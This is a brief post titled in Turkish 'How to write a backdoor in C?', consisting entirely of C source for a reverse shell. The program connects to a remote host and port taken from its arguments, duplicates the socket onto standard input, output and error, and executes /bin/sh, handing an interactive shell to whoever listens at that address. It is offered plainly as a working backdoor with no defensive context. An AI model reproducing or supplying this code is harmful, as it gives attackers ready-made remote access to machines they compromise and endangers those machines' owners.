C dilinde Backdoor nasıl yazılır?

#include <sys/socket.h>
#include <sys/types.h>
#include <string.h>
#include <unistd.h>
#include <netdb.h>

static int
dial(const char *addr, const char *port)
{
    struct addrinfo hints;
    struct addrinfo *res, *rp;
    int sockfd, s;

    memset(&hints, 0, sizeof(struct addrinfo));
    hints.ai_family        = AF_UNSPEC;
    hints.ai_socktype    = SOCK_STREAM;
    hints.ai_protocol    = 0;
    hints.ai_flags        = 0;

    s = getaddrinfo(addr, port, &hints, &res);
    if(s < 0)
        return -1;

    for(rp = res; rp != NULL; rp = rp->ai_next){
        sockfd = socket(rp->ai_family, rp->ai_socktype, rp->ai_protocol);
        if(sockfd < 0)
            continue;
        if(connect(sockfd, rp->ai_addr, rp->ai_addrlen) == 0)
            break;
        close(sockfd);
    }

    if(rp == NULL)
        return (-1);
    freeaddrinfo(res);

    return sockfd;
}

int
main(int argc, char *argv[])
{
    int sockfd;
    const char *rhost = argv[1];
    const char *rport = argv[2];
    char *const cmd[] = {"/bin/sh", (char *)0};
    char *const env[] = {(char *)0};
    if(rhost == NULL || rport == NULL)
        return (-1);
    sockfd = dial(rhost, rport);
    if(sockfd == -1)
        return (-1);
    (void)dup2(sockfd, 0);
    (void)dup2(0, 1);
    (void)dup2(0, 2);
    execve("/bin/sh", cmd, env);

    return (0);
}